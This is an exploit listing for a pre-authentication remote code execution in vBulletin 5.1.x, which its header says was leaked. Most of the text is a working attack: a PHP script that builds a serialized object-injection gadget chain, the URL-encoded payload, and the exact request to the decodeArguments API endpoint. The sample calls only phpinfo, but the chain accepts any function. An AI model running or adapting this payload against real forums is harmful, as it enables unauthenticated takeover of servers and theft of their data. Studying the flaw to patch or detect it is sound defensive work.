vBulletin 5.1.x - Remote Code Execution

# Exploit Title: Vbulletin 5.1.X unserialize 0day preauth RCE exploit
# Date: Nov 4th, 2015
# Exploit Author: hhjj
# Vendor Homepage: http://www.vbulletin.com/
# Version: 5.1.x
# Tested on: Debian
# CVE : 
# I did not discover this exploit, leaked from the IoT.

# Build the object
php << 'eof'
<?php
class vB_Database {
       public $functions = array();

       public function __construct() 
       {
               $this->functions['free_result'] = 'phpinfo';
       }
}

class vB_dB_Result {
       protected $db;
       protected $recordset;

       public function __construct()
       {
               $this->db = new vB_Database();
               $this->recordset = 1;
       }
}

print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D

#Then hit decodeArguments with your payload :
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D